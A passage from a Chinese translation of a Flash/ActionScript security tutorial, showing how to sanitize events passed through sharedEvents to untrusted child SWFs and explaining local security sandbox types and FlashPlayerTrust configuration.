safeEvent.
delta
= event.
delta
;
safeEvent.
localX
= event.
localX
;
safeEvent.
localY
= event.
localY
;
safeEvent.
shiftKey
= event.
shiftKey
;
shared.
dispatchEvent
(
safeEvent
)
;
}
http://untrusted.example.com/child.swf:
var
shared:EventDispatcher;
// 如果場(chǎng)景事件不能引用,那就通過(guò)sharedEvents監(jiān)聽
if
(
loaderInfo.
parentAllowsChild
)
{
stage
.
addEventListener
(
MouseEvent.
MOUSE_OUT
, stageMouseOut
)
;
}
else
{
shared = loaderInfo.
sharedEvents
;
shared.
addEventListener
(
MouseEvent.
MOUSE_OUT
, stageMouseOut
)
;
}
function
stageMouseOut
(
event:MouseEvent
)
:
void
{
// -- stage mouse out actions here --
// 如果sharedEvents傳遞了原始的鼠標(biāo)事件,那么父域中的數(shù)據(jù)就暴露了!
//trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}
幸好有safeEvent這個(gè)MouseEvent的實(shí)例,原本的MouseEvent對(duì)象的relatedObject指向的引用被屏蔽了。實(shí)際上,所有通過(guò)sharedEvents對(duì)象發(fā)送的事件都應(yīng)該用這種方式清理一遍。
Local Security Domains 本地安全域
在硬盤上運(yùn)行的SWF文件同樣有自己的安全域。本地安全域有自己獨(dú)特的行為,共分為4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細(xì)討論AIR)。再加上網(wǎng)絡(luò)上的SWF,一共有5種安全沙箱。在ActionScript中,你可以用 Security.sandboxType 來(lái)獲得當(dāng)前的安全沙箱類型。
-
local-with-file
(
Security.LOCAL_WITH_FILE)—本地不受信任的文件,只可以訪問(wèn)本地?cái)?shù)據(jù),不能與網(wǎng)絡(luò)通信。 -
local-with-network
(
Security.LOCAL_WITH_NETWORK)—本地不受信任的文件,只可以訪問(wèn)網(wǎng)絡(luò),但是不能讀取本地?cái)?shù)據(jù)。 -
local-trusted
(
Security.LOCAL_TRUSTED)—本地受信的文件,通過(guò)Flash Player設(shè)置管理器或者FlashPlayerTrust文件授權(quán)??梢栽L問(wèn)本地和網(wǎng)絡(luò)。 -
application
(
Security.APPLICATION)—隨著AIR包而安裝,運(yùn)行在AIR程序中。默認(rèn)在這種沙箱類型下的文件可以調(diào)用任意域下的文件(外部域可能不允許)。而且默認(rèn)能從任意其他域下加載數(shù)據(jù)。 -
remote
(
Security.REMOTE)—來(lái)自網(wǎng)絡(luò)的文件,遵循安全域的沙箱規(guī)則。
由于有可能從用戶的硬盤上獲取敏感數(shù)據(jù),所以本地文件在安全方面有著嚴(yán)格的規(guī)則。一旦有機(jī)會(huì),惡意的SWF將可以從電腦上讀取數(shù)據(jù)并上傳到網(wǎng)絡(luò)上的服務(wù)器。所以為了防止這種情況,本地的SWF只允許一種類型的通訊,要么就是本地,要么就是網(wǎng)絡(luò)。而且,不同安全沙箱類型的SWF不能相互加載,避免能同時(shí)訪問(wèn)網(wǎng)絡(luò)和訪問(wèn)本地的情況出現(xiàn)。
由于我們不能判斷本地文件的域名,所以判斷本地SWF文件的安全沙箱用的是另外一種形式。只允許本地和只允許網(wǎng)絡(luò)這兩種情況是通過(guò)SWF文件內(nèi)的標(biāo)識(shí)來(lái)區(qū)分的,所有的SWF在發(fā)布的時(shí)候都帶有這種標(biāo)識(shí),當(dāng)SWF在本地運(yùn)行的時(shí)候,F(xiàn)lash Player就用它來(lái)檢測(cè)安全沙箱類型。
對(duì)于本地的信任文件,相同的問(wèn)題是我們沒有地方來(lái)保存跨域策略文件,所以我們通過(guò)Flash Player的 設(shè)置管理器 里的 全局安全設(shè)置面板 來(lái)設(shè)置。通過(guò)下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表里。
Flash Player 設(shè)置管理器
另一種方式是通過(guò)配置文件的方式。配置文件不像設(shè)置管理器那樣需要聯(lián)網(wǎng)來(lái)使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只需要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就可以了。在Mac和Windows上,這個(gè)路徑如下:
- Windows 95-XP:
C:\Documents and Settings\ [username] \Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust- Windows Vista-7:
C:\Users\ [username] \AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust- Mac OS X:
/Users/ [username] /Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust
把 [username] 替換為你的用戶名。
兩種方法都是把信任授權(quán)信息寫入你的硬盤(全局安全設(shè)置面板也一樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件一樣。當(dāng)Flash Player讀取的時(shí)候,信任授權(quán)給SWF,并覆蓋SWF文件中關(guān)于本地訪問(wèn)權(quán)限的標(biāo)識(shí),從而允許受信的SWF能夠同時(shí)訪問(wèn)本地和網(wǎng)絡(luò)。
關(guān)于本地信任機(jī)制還有一點(diǎn)需要注意的是即使是本地受信的文件,仍然不能把處于外部沙箱的內(nèi)容加載入本地沙箱。
大多數(shù)Flash內(nèi)容都是為網(wǎng)絡(luò)創(chuàng)建的,所以通常不需要完全理解本地的安全沙箱機(jī)制。但是開發(fā)和測(cè)試是一個(gè)例外。Flash編輯器在測(cè)試的時(shí)候就是把SWF放在一個(gè)本地受信的安全沙箱里面。這有可能會(huì)造成與真正發(fā)布的SWF情況不同的結(jié)果,因?yàn)閮烧叩陌踩诚洳煌?。比如你測(cè)試的時(shí)候可以從沒有授信的外部域讀取內(nèi)容,而真正發(fā)布到網(wǎng)站上的SWF卻無(wú)法加載。所以當(dāng)你測(cè)試的時(shí)候要注意,你所看到的結(jié)果和最終發(fā)布的版本有可能不一樣。
你可以到 Flash Player Developer Center (adobe.com)的 Security section 查看更詳細(xì)的安全相關(guān)信息。
第一部分到此結(jié)束,第二部分Application Domain請(qǐng) 點(diǎn)擊 。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061
微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元

